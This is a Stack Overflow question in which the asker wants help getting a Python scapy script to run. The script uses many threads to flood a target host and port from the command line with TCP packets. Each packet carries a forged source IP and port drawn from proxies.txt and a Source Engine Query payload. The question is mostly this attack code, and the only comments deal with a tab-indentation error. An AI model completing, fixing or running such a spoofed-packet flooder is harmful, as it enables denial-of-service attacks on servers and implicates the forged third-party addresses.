0

is the first time I'm trying to create packets with python, I'm having an issuse while trying to create a spoofed packet. What should I change to fix it ?

I've followed this guide: Send packet and change its source IP

import random, sys, socket, codecs, threading, ipaddress
from scapy.all import *

ips = open('proxies.txt','r').readlines()

host = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])

payload = bytes.fromhex((lambda s: ("%s%s00" * (len(s)//2)) % tuple(s))('ffffffff54536f7572636520456e67696e6520517565727900')).decode('utf-16-le')

def run():
    try:
        while True:
            proxy = choice(ips)
            sip, sport = proxy.split(':')
            spoofed_packet = IP(src=sip, dst=host) / TCP(sport=sport, dport=port) / payload
            send(spoofed_packet)
    except Exception as e:
        print(e)

for y in range(threads):
    th = threading.Thread(target = run)
    th.start()

I'm reciving this error while trying to run but I think there's something wrong in the packet creation.

  File "spoof.py", line 19
    spoofed_packet = IP(src=sip, dst=host)/TCP(sport=sport, dport=port)/payload
                                                                              ^
TabError: inconsistent use of tabs and spaces in indentation
Giacomo A.
  • 175
  • 1
  • 12
  • Possible duplicate of ["inconsistent use of tabs and spaces in indentation"](https://stackoverflow.com/questions/5685406/inconsistent-use-of-tabs-and-spaces-in-indentation) – Ross Jacobs Oct 25 '19 at 16:44
  • Welcome to Stack Overflow! Please read the [help pages](https://stackoverflow.com/help), take the [SO tour](https://stackoverflow.com/tour), read about [how to ask good questions](https://stackoverflow.com/help/how-to-ask), as well as this [question checklist](https://codeblog.jonskeet.uk/2012/11/24/stack-overflow-question-checklist/). Also please learn how to create a [minimal reproducible example](https://stackoverflow.com/help/minimal-reproducible-example). In your editor, you should be able to find and replace all `\t` with 4 spaces so that you do not get this error – Ross Jacobs Oct 25 '19 at 16:45

0 Answers0